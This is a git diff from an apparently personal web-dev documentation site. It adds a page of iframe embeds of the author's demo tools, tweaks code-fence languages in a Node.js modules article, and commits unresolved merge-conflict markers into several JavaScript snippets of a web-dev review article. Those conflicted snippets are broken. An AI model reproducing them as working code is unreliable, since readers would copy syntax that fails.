+        -   [Git Prune:](https://bryan-guner.gitbook.io/lambda-labs/background-information/background-info/github/git-prune)
+
+## DOCS
+
+-   [Coding](https://bryan-guner.gitbook.io/lambda-labs/docs/coding/README)
+    -   [Environment Variables](https://bryan-guner.gitbook.io/lambda-labs/docs/coding/environment-variables)
+    -   [Git Rebase:](https://bryan-guner.gitbook.io/lambda-labs/docs/coding/git-rebase)
+    -   [Git Workflow:](https://bryan-guner.gitbook.io/lambda-labs/docs/coding/git-workflow)
+    -   [Linting and Formatting](https://bryan-guner.gitbook.io/lambda-labs/docs/coding/linting-and-formatting)
+-   [Project Docs](https://bryan-guner.gitbook.io/lambda-labs/docs/project-docs/README)
+    -   [Eng-Docs-Home](https://bryan-guner.gitbook.io/lambda-labs/docs/project-docs/eng-docs-home)
+    -   [Basic Node API](https://bryan-guner.gitbook.io/lambda-labs/docs/project-docs/basic-node-api)
+    -   [Contributing to this scaffold project](https://bryan-guner.gitbook.io/lambda-labs/docs/project-docs/contributing-to-this-scaffold-project)
+    -   [Examples:](https://bryan-guner.gitbook.io/lambda-labs/docs/project-docs/examples)
+-   [PROJECT DESCRIPTION (Feature List)](https://bryan-guner.gitbook.io/lambda-labs/docs/project-description)
+-   [Labs Learners Guide](https://bryan-guner.gitbook.io/lambda-labs/docs/labs-learners-guide)
+-   [REACT](https://bryan-guner.gitbook.io/lambda-labs/docs/react/README)
+    -   [Create React App](https://bryan-guner.gitbook.io/lambda-labs/docs/react/untitled)
+    -   [Awesome React](https://bryan-guner.gitbook.io/lambda-labs/docs/react/awesome-react)
+-   [Links](https://bryan-guner.gitbook.io/lambda-labs/docs/untitled)
+-   [Labs Engineering Docs](https://bryan-guner.gitbook.io/lambda-labs/docs/labs-engineering-docs/README)
+    -   [Okta Basics](https://bryan-guner.gitbook.io/lambda-labs/docs/labs-engineering-docs/okta-basics)
+    -   [Roadmap](https://bryan-guner.gitbook.io/lambda-labs/docs/labs-engineering-docs/roadmap)
+    -   [Repositories](https://bryan-guner.gitbook.io/lambda-labs/docs/labs-engineering-docs/repositories)
+
+## Workflow
+
+-   [Workflow](https://bryan-guner.gitbook.io/lambda-labs/workflow/workflow)
+-   [Advice](https://bryan-guner.gitbook.io/lambda-labs/workflow/advice)
+
+## AWS
+
+-   [AWS](https://bryan-guner.gitbook.io/lambda-labs/aws/aws/README)
+    -   [Elastic Beanstalk](https://bryan-guner.gitbook.io/lambda-labs/aws/aws/elastic-beanstalk/README)
+        -   [Elastic Beanstalk DNS](https://bryan-guner.gitbook.io/lambda-labs/aws/aws/elastic-beanstalk/elastic-beanstalk-dns)
+    -   [Amplify:](https://bryan-guner.gitbook.io/lambda-labs/aws/aws/amplify/README)
+        -   [Amplify-DNS](https://bryan-guner.gitbook.io/lambda-labs/aws/aws/amplify/amplify-dns)
+-   [Account Basics](https://bryan-guner.gitbook.io/lambda-labs/aws/untitled-1)
+-   [AWS-Networking](https://bryan-guner.gitbook.io/lambda-labs/aws/aws-networking)
+
+## Career & Job Hunt
+
+-   [Career](https://bryan-guner.gitbook.io/lambda-labs/career-and-job-hunt/career)
+
+## Group 1
+
+-   [Live Implementation](https://bryan-guner.gitbook.io/lambda-labs/group-1/live-implementation)
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://www.figma.com/embed?embed_host=share&url=https%3A%2F%2Fwww.figma.com%2Ffile%2FbOwyinWBikQ5jdEpSx5WcI%2FFamily-Promise-Copy"
+     style="width:100%; height:500px; border:0; border-radius: 4px; overflow:hidden;"
+     title="Family_Promise_embed"
+     allow="accelerometer; ambient-light-sensor; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; payment; usb; vr; xr-spatial-tracking"
+     sandbox="allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts"
+   >
+</iframe>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://codesandbox.io/embed/family-promise-embed-b434z?autoresize=1&fontsize=12&hidenavigation=1&theme=dark&view=preview"
+     style="width:100%; height:500px; border:0; border-radius: 4px; overflow:hidden;"
+     title="Family_Promise_embed"
+     allow="accelerometer; ambient-light-sensor; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; payment; usb; vr; xr-spatial-tracking"
+     sandbox="allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts"
+   >
+</iframe>
+<br>
+
+<br>
+
+<br>
+<br>
+<br>
+<br>
+
+<br>
+
+<br>
+<br>
+<br>
+<br>
+
+<br>
+<br>
+<h1>   Family-Promise Application</h1>
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"     style="z-index:-1!important; overflow:scroll;resize:both;"  src="https://a.familypromiseservicetracker.dev/dashboard" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+<br>
+<br>
+<br>
+<br>
+
+<br>
+<br>
+<br>
+<br>
+
+<br>
+<br>
+<br>
diff --git a/src/pages/docs/archive/archive/index.md b/src/pages/docs/archive/archive/index.md
new file mode 100644
index 0000000000..824538a6f5
--- /dev/null
+++ b/src/pages/docs/archive/archive/index.md
@@ -0,0 +1,436 @@
+---
+title: Archive
+excerpt: See some interesting Archive developed by the Web-Dev-Hubcommunity to
+    help automate parts of your workflow.
+seo:
+    title: Archive
+    description: paste to markdown, excel table to markdown, excel to html, cloud
+        storage, text manipulation, ternary converter, github html preview, form
+        builder, border
+    extra:
+        - name: og:type
+          value: website
+          keyName: property
+        - name: og:title
+          value: Archive
+          keyName: property
+        - name: og:description
+          value: paste to markdown, excel table to markdown, excel to html, cloud storage,
+              text manipulation, ternary converter, github html preview, form builder,
+              border
+          keyName: property
+        - name: twitter:card
+          value: summary
+        - name: twitter:title
+          value: Archive
+        - name: twitter:description
+          value: This is the Archive page
+        - name: og:image
+          value: images/tex.png
+          keyName: property
+          relativeUrl: true
+template: docs
+---
+
+<h1>   Speach Recognition api </h1>
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"     style="z-index:-1!important; overflow:scroll;resize:both;"  src="https://random-static-html-deploys.netlify.app/" width="1200px" height="800px"  scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+
+<br>
+<br>
+
+<br>
+<br>
+
+<h1>   Sidebar Blog  </h1>
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"     style="z-index:-1!important; overflow:scroll;resize:both;"  src="https://side-bar-blog-4.netlify.app/" width="1200px" height="800px"  scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+
+<br>
+
+<br>
+<br>
+<h1>   Paste To Markdown </h1>
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"     style="z-index:-1!important; overflow:scroll;resize:both;"  src="https://bgoonz.github.io/paste-2-markdown-web/" width="1200px" height="800px"  scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+
+<br>
+<br>
+<h1>   Paste Excel Tabel To Markdown </h1>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"     style="z-index:-1!important; overflow:scroll;resize:both;"  src="https://codepen.io/bgoonz/embed/JjNaPpL?default-tab=result&theme-id=light" width="1200px" height="800px"  scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+
+<br>
+<br>
+
+<h1>Paste excel to HTML</h1>
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"     style="z-index:-1!important; overflow:scroll;resize:both;"  src="https://pedantic-wing-adbf82.netlify.app/" width="1200px" height="800px"  scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+<br>
+
+<h1>  Cloud Storage </h1>
+<br>
+
+<h2> Up to 1TB of cloud Storage for file sharing!</h2>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://onedrive.live.com/embed?cid=D21009FDD967A241&resid=D21009FDD967A241%21538729&authkey=AHSDSyoYqzg2K2E" height="800px" width="800px" style="zoom:0.69; align-self:center;display:auto;display: block;border:12px solid gold;">
+</iframe>
+<br>
+
+<br>
+<br>
+
+<br>
+<br>
+
+<h1>     Resource Archive           </h1>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://resourcerepo2.netlify.app/" width="1200px" height="800px"  scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+
+<br>
+<br>
+
+<br>
+<br>
+
+<h1>   Lambda Student Site </h1>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    class="inner" src="https://lambda-resources.netlify.app/" width="1200px" height="800px"  scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+
+<br>
+<br>
+
+<br>
+<br>
+
+<br>
+<br>
+
+<br>
+<h1> Text Tools     </h1>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://devtools42.netlify.app/" width="1200px" height="800px"  scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+
+<br>
+<br>
+
+<br>
+<br>
+
+<h1> Ternary Converter   </h1>
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://ternary42.netlify.app/" width="1200px" height="800px"  scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+
+<br>
+<br>
+
+<br>
+<br>
+
+<h1>  Github HTML Render from link </h1>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://githtmlpreview.netlify.app/" width="1200px" height="800px"  scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+
+<br>
+<br>
+
+<br>
+<br>
+
+<h1> Data Structures</h1>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://determined-dijkstra-ee7390.netlify.app/" width="1200px" height="800px"  scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+
+<br>
+<br>
+
+<br>
+<br>
+
+<br>
+<br>
+
+<h1> Form Builder GUI </h1>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"     style="z-index:-1!important; overflow:scroll;resize:both;" src="https://fourm-builder-gui.netlify.app/" width="1200px" height="800px"  scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+
+<br>
+
+<br>
+
+<h1> Border Builder </h1>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"     style="z-index:-1!important; overflow:scroll;resize:both;" src="https://codepen.io/bgoonz/embed/zYwLVmb?default-tab=html%2Cresult" width="1200px" height="800px"  scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+
+<br>
+<br>
+
+<br>
+<br>
+
+<br>
+<br>
+
+<h1>      Ds & Algos          </h1>
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"     style="z-index:-1!important; overflow:scroll;resize:both;"  src="https://ds-algo-official.netlify.app/" width="1200px" height="800px"  scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+
+<br>
+<br>
+
+<h1>                </h1>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    width="1200px" height="800px"  scrolling="yes" title="Simple Typing Carousel " src="https://codepen.io/bgoonz/embed/ExZvGoZ?default-tab=html%2Cresult"   frameborder="yes" loading="lazy"  allowfullscreen="true">
+<a href="https://codepen.io/bgoonz/pen/ExZvGoZ">
+</iframe>
+<br>
+
+<br>
+<br>
+
+<br>
+<br>
+
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    height="300"  height="1000px" width=1200px height="800px"  scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0"  title="Fibonacci Carousel"
+src="https://codepen.io/bgoonz/embed/JjNagJo?default-tab=result&theme-id=dark"   frameborder="yes" loading="lazy"
+allowfullscreen="true">
+</iframe>
+<br>
+
+<br>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    height="1000px" width=1200px scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0"  title="embed-twitter-feed"
+src="https://codepen.io/bgoonz/embed/poPOqEO?default-tab=result&theme-id=dark"   frameborder="yes" loading="lazy"
+allowfullscreen="true">
+</iframe>
+<br>
+
+<br>
+<br>
+
+<br>
+
+<h1>     Resource Archive           </h1>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://bgoonz.github.io/vanilla-mini-projects/" width="1200px" height="800px"  scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+
+<br>
+<br>
+
+<br>
+
+<br>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    height="1000px" style="width: 1300px;" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0"  src="//jsfiddle.net/bgoonz/vtz7820m/embedded/result/dark/"
+allowfullscreen="allowfullscreen" frameborder="0">
+</iframe>
+<br>
+
+<br>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"  height="1000px" style="width: 1300px;" scrolling="yes"   frameborder="yes" loading="lazy" src="//jsfiddle.net/bgoonz/1dye9uws/2/embedded/js,html,css,result/dark/" >
+</iframe>
+<br>
+
+<br>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" width="1200px" height="800px"    style=" border:0; border-radius: 4px;  "  scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0"  src="//jsfiddle.net/bgoonz/3mpgzkx7/1/embedded/"
+allowfullscreen="allowfullscreen" frameborder="0">
+</iframe>
+<br>
+
+<br>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    loading="lazy" src="https://codepen.io/bgoonz/embed/zYwJQaw?default-tab=html%2Cresult"
+width="1200px" height="800px"    style=" border:0; border-radius: 4px;  " title="hvbrd-sockets (forked)" >
+</iframe>
+<br>
+<br>
+<br>
+
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    loading="lazy" src="https://codesandbox.io/embed/bigo-3wqy4?fontsize=14&hidenavigation=1&theme=dark"
+width="1200px" height="800px"    style=" border:0; border-radius: 4px;  " title="hvbrd-sockets (forked)" >
+</iframe>
+<br>
+
+<br>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    loading="lazy"
+src="https://codesandbox.io/embed/hvbrd-sockets-forked-vsi2o?fontsize=14&hidenavigation=1&theme=dark"
+width="1200px" height="800px"    style=" border:0; border-radius: 4px;  " title="hvbrd-sockets (forked)" >
+</iframe>
+<br>
+
+<br>
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    loading="lazy" src="https://codesandbox.io/embed/summer-surf-p6dei?fontsize=14&hidenavigation=1&theme=dark"
+width="1200px" height="800px"    style=" border:0; border-radius: 4px;  " title="summer-surf-p6dei" >
+</iframe>
+<br>
+
+<br>
+<br>
+
+<br>
+
+<br> <br>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    loading="lazy"
+src="https://codesandbox.io/embed/sharp-feistel-x8bvv?fontsize=14&hidenavigation=1&theme=dark"
+width="1200px" height="800px"    style=" border:0; border-radius: 4px;  " title="sharp-feistel-x8bvv" >
+</iframe>
+<br>
+<br>
+
+<center>
+
+<br>
+<br>
+
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    loading="lazy" width="1200px" height="800px"  scrolling="yes"
+title="3D Cover Flow in React! | @keyframers 3.7"
+src="https://codepen.io/bgoonz/embed/ExZvGoZ?default-tab=html%2Cresult"   frameborder="yes" loading="lazy"
+allowfullscreen="true">
+</iframe>
+<br>
+
+<br>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    loading="lazy" width="1200px" height="800px"  scrolling="yes" title="Simple Typing Carousel "
+src="https://codepen.io/bgoonz/embed/ExZvGoZ?default-tab=html%2Cresult"   frameborder="yes" loading="lazy"
+allowfullscreen="true">
+</iframe>
+<br>
+
+<br>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    loading="lazy" width="1200px" height="800px"  scrolling="yes"
+title="3D Cover Flow in React! | @keyframers 3.7"
+src="https://codepen.io/bgoonz42/embed/RwpeaWr?height=375&theme=dark&default-tab=js,result" frameborder="no"
+loading="lazy"  allowfullscreen="true">
+</iframe>
+<br>
+
+<br>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    loading="lazy" src="https://portfolio42.netlify.app/"
+width="1200px" height="800px"    style=" border:0; border-radius: 4px;  " title="hvbrd-sockets (forked)" >
+</iframe>
+<br>
+
+<br>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    loading="lazy" width="1200px" height="800px"  scrolling="yes" title="Video Background 1"
+src="https://codesandbox.io/embed/bgoonzblog20-oo3x5?fontsize=14&hidenavigation=1&theme=dark"
+width="1200px" height="800px"    style=" border:0; border-radius: 4px;  " title="bgoonzblog2.0" >
+</iframe>
+<br>
+<br>
+<br>
+
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    loading="lazy" width="1200px" height="800px"  scrolling="yes" title="Video Background 1"
+src="https://codepen.io/bgoonz/embed/BaRLKBd?default-tab=html%2Cresult&theme-id=dark" frameborder="no"
+loading="lazy"  allowfullscreen="true">
+</iframe>
+<br>
+
+<br>
+<br>
+
+<br>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    loading="lazy" width="1200px" height="800px" scrolling="yes"
+title="CSS-only Colorful Calendar Concept" src="https://documentation-site-react2.vercel.app/"
+frameborder="yes" loading="lazy"  allowfullscreen="true">
+</iframe>
+<br>
+
+<br>
+<br>
+
+<br>
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    loading="lazy" width="1200px" height="800px"  scrolling="yes" title="FullTextSearchjs"
+src="https://codepen.io/bgoonz/embed/QWvMWoQ?default-tab=html%2Cresult"   frameborder="yes" loading="lazy"
+allowfullscreen="true">
+</iframe>
+<br>
+
+<br>
+<br>
+
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    loading="lazy" width="1200px" height="800px"  scrolling="yes" title="CSS Grid: Info Card"
+src="https://codepen.io/bgoonz42/embed/MWmpjmy?default-tab=html%2Cresult"   frameborder="yes" loading="lazy"
+allowfullscreen="true">
+<a href="https://codepen.io/bgoonz42/pen/MWmpjmy">
+</iframe>
+<br>
+
+<br>
+<br>
+
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    loading="lazy" width="1200px" height="800px"  scrolling="yes"
+title="CSS-only Colorful Calendar Concept"
+src="https://codepen.io/bgoonz/embed/vYmKQYj?default-tab=html%2Cresult&theme-id=dark" frameborder="no"
+loading="lazy"  allowfullscreen="true">
+</iframe>
+<br>
+
+<br>
+<br>
diff --git a/src/pages/docs/articles/basic-web-dev.md b/src/pages/docs/articles/basic-web-dev.md
index 91fb509c73..11688435e2 100644
--- a/src/pages/docs/articles/basic-web-dev.md
+++ b/src/pages/docs/articles/basic-web-dev.md
@@ -51,6 +51,10 @@ template: docs
     - put it in brackets to access the value of the variable, rather than just make the value that string
 
         ```js
+<<<<<<< HEAD:src/pages/docs/articles/basic-web-dev.md
+=======
+//
+>>>>>>> master:src/pages/docs/tutorials/webdev-review.md
         let a = 'b';
         let obj = { a: 'letter_a', [a]: 'letter b' };
         ```
@@ -63,6 +67,10 @@ template: docs
 - Iterate through an object using a `for in` loop
 
     ```js
+<<<<<<< HEAD:src/pages/docs/articles/basic-web-dev.md
+=======
+//
+>>>>>>> master:src/pages/docs/tutorials/webdev-review.md
     let printValues = function (obj) {
         for (let key in obj) {
             let value = obj[key];
@@ -77,6 +85,10 @@ template: docs
     - array will be empty if there are no additional arguments
 
         ```js
+<<<<<<< HEAD:src/pages/docs/articles/basic-web-dev.md
+=======
+//
+>>>>>>> master:src/pages/docs/tutorials/webdev-review.md
         let myFunction = function (str, ...strs) {
             console.log('The first string is ' + str);
             console.log('The rest of the strings are:');
@@ -91,6 +103,10 @@ template: docs
 - Use `...spread` syntax for Object literals and Array literals
 
     ```js
+<<<<<<< HEAD:src/pages/docs/articles/basic-web-dev.md
+=======
+//
+>>>>>>> master:src/pages/docs/tutorials/webdev-review.md
     let arr1 = ['a', 'b', 'c'];
     let longer = [...arr1, 'd', 'e']; // ["a", "b", "c", "d", "e"]
     // without spread syntax, this would give you a nested array
@@ -150,6 +166,10 @@ console.log(color, vegetable); //=> mauve spaghetti squash
 - Write a function that accepts a array as an argument and returns an object representing the count of each character in the array
 
     ```js
+<<<<<<< HEAD:src/pages/docs/articles/basic-web-dev.md
+=======
+//
+>>>>>>> master:src/pages/docs/tutorials/webdev-review.md
     //
     let elementCounts = function (array) {
         let obj = {};
@@ -216,6 +236,10 @@ console.log(myMapArrow([16,25,36], Math.sqrt)); // => [4, 5, 6];
 - Write a function, myFilter, that takes in an array and a callback as arguments. The function should mimic the behavior of `Array#filter`.
 
     ```js
+<<<<<<< HEAD:src/pages/docs/articles/basic-web-dev.md
+=======
+//
+>>>>>>> master:src/pages/docs/tutorials/webdev-review.md
     let myFilter = function (array, callback) {
         let filtered = [];
         for (let i = 0; i < array.length; i++) {
@@ -229,6 +253,10 @@ console.log(myMapArrow([16,25,36], Math.sqrt)); // => [4, 5, 6];
 - Write a function, myEvery, that takes in an array and a callback as arguments. The function should mimic the behavior of `Array#every`.
 
     ```js
+<<<<<<< HEAD:src/pages/docs/articles/basic-web-dev.md
+=======
+//
+>>>>>>> master:src/pages/docs/tutorials/webdev-review.md
     let myEvery = function (array, callback) {
         for (let i = 0; i < array.length; i++) {
             if (!callback(array[i], i, array)) {
diff --git a/src/pages/docs/articles/common-modules.md b/src/pages/docs/articles/common-modules.md
index 2b474d844a..6359d79fb0 100644
--- a/src/pages/docs/articles/common-modules.md
+++ b/src/pages/docs/articles/common-modules.md
@@ -19,7 +19,7 @@ template: docs
 
 In the Node.js module system, each file is treated as a separate module. For example, consider a file named `foo.js`:
 
-```
+```js
 const circle = require('./circle.js');
 console.log(`The area of a circle of radius 4 is ${circle.area(4)}`);
 ```
@@ -28,7 +28,7 @@ On the first line, `foo.js` loads the module `circle.js` that is in the same dir
 
 Here are the contents of `circle.js`:
 
-```
+```js
 const { PI } = Math;
 
 exports.area = (r) => PI * r ** 2;
@@ -44,7 +44,7 @@ The `module.exports` property can be assigned a new value (such as a function or
 
 Below, `bar.js` makes use of the `square` module, which exports a Square class:
 
-```
+```js
 const Square = require('./square.js');
 const mySquare = new Square(2);
 console.log(`The area of mySquare is ${mySquare.area()}`);
@@ -52,7 +52,7 @@ console.log(`The area of mySquare is ${mySquare.area()}`);
 
 The `square` module is defined in `square.js`:
 
-```
+```js
 // Assigning to exports will not modify module, must use module.exports
 module.exports = class Square {
   constructor(width) {
@@ -250,7 +250,7 @@ Consider this situation:
 
 `a.js`:
 
-```
+```js
 console.log('a starting');
 exports.done = false;
 const b = require('./b.js');
@@ -261,7 +261,7 @@ console.log('a done');
 
 `b.js`:
 
-```
+```js
 console.log('b starting');
 exports.done = false;
 const a = require('./a.js');
@@ -272,7 +272,7 @@ console.log('b done');
 
 `main.js`:
 
-```
+```js
 console.log('main starting');
 const a = require('./a.js');
 const b = require('./b.js');
@@ -283,7 +283,7 @@ When `main.js` loads `a.js`, then `a.js` in turn loads `b.js`. At that point, `b
 
 By the time `main.js` has loaded both modules, they're both finished. The output of this program would thus be:
 
-```
+```shell
 $ node main.js
 main starting
 a starting
@@ -317,7 +317,7 @@ It is convenient to organize programs and libraries into self-contained director
 
 The first is to create a [`package.json`](https://nodejs.org/api/packages.html#packages_node_js_package_json_field_definitions) file in the root of the folder, which specifies a `main` module. An example [`package.json`](https://nodejs.org/api/packages.html#packages_node_js_package_json_field_definitions) file might look like this:
 
-```
+```json
 { "name" : "some-library",
   "main" : "./lib/some-library.js" }
 ```
@@ -405,7 +405,7 @@ The directory name of the current module. This is the same as the [`path.dirname
 
 Example: running `node example.js` from `/Users/mjr`
 
-```
+```js
 console.log(__dirname);
 // Prints: /Users/mjr
 console.log(path.dirname(__filename));
@@ -428,7 +428,7 @@ Examples:
 
 Running `node example.js` from `/Users/mjr`
 
-```
+```js
 console.log(__filename);
 // Prints: /Users/mjr/example.js
 console.log(__dirname);
@@ -467,7 +467,7 @@ Added in: v0.1.13
 
 Used to import modules, `JSON`, and local files. Modules can be imported from `node_modules`. Local modules and JSON files can be imported using a relative path (e.g. `./`, `./foo`, `./bar/baz`, `../foo`) that will be resolved against the directory named by [`__dirname`](https://nodejs.org/api/modules.html#modules_dirname) (if defined) or the current working directory. The relative paths of POSIX style are resolved in an OS independent fashion, meaning that the examples above will work on Windows in the same way they would on Unix systems.
 
-```
+```js
 // Importing a local module with a path relative to the `__dirname` or current
 // working directory. (On Windows, this would resolve to .\path\myLocalModule.)
 const myLocalModule = require('./path/myLocalModule');
@@ -489,7 +489,7 @@ Modules are cached in this object when they are required. By deleting a key valu
 
 Adding or replacing entries is also possible. This cache is checked before native modules and if a name matching a native module is added to the cache, only `node:`-prefixed require calls are going to receive the native module. Use with care!
 
-```
+```js
 const assert = require('assert');
 const realFs = require('fs');
 
@@ -512,7 +512,7 @@ Instruct `require` on how to handle certain file extensions.
 
 Process files with the extension `.sjs` as `.js`:
 
-```
+```js
 require.extensions['.sjs'] = require.extensions['.js'];
 ```
 
@@ -530,15 +530,15 @@ The `Module` object representing the entry script loaded when the Node.js proces
 
 In `entry.js` script:
 
-```
+```js
 console.log(require.main);
 ```
 
-```
+```js
 node entry.js
 ```
 
-```
+```js
 Module {
   id: '.',
   path: '/absolute/path/to',
@@ -601,7 +601,7 @@ The `module.exports` object is created by the `Module` system. Sometimes this is
 
 For example, suppose we were making a module called `a.js`:
 
-```
+```js
 const EventEmitter = require('events');
 
 module.exports = new EventEmitter();
@@ -615,7 +615,7 @@ setTimeout(() => {
 
 Then in another file we could do:
 
-```
+```js
 const a = require('./a');
 a.on('ready', () => {
   console.log('module "a" is ready');
@@ -626,7 +626,7 @@ Assignment to `module.exports` must be done immediately. It cannot be done in an
 
 `x.js`:
 
-```
+```js
 setTimeout(() => {
   module.exports = { a: 'hello' };
 }, 0);
@@ -634,7 +634,7 @@ setTimeout(() => {
 
 `y.js`:
 
-```
+```js
 const x = require('./x');
 console.log(x.a);
 ```
@@ -647,14 +647,14 @@ The `exports` variable is available within a module's file-level scope, and is a
 
 It allows a shortcut, so that `module.exports.f = ...` can be written more succinctly as `exports.f = ...`. However, be aware that like any variable, if a new value is assigned to `exports`, it is no longer bound to `module.exports`:
 
-```
+```js
 module.exports.hello = true; // Exported from require of module
 exports = { hello: false };  // Not exported, only available in the module
 ```
 
 When the `module.exports` property is being completely replaced by a new object, it is common to also reassign `exports`:
 
-```
+```js
 module.exports = exports = function Constructor() {
   // ... etc.
 };
@@ -662,7 +662,7 @@ module.exports = exports = function Constructor() {
 
 To illustrate the behavior, imagine this hypothetical implementation of `require()`, which is quite similar to what is actually done by `require()`:
 
-```
+```js
 function require(/* ... */) {
   const module = { exports: {} };
   ((module, exports) => {
@@ -678,78 +678,3 @@ function require(/* ... */) {
   return module.exports;
 }
 ```
-
-#### `module.filename`[#](https://nodejs.org/api/modules.html#modules_module_filename)
-
-Added in: v0.1.16
-
-- [<string>](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type)
-
-The fully resolved filename of the module.
-
-#### `module.id`[#](https://nodejs.org/api/modules.html#modules_module_id)
-
-Added in: v0.1.16
-
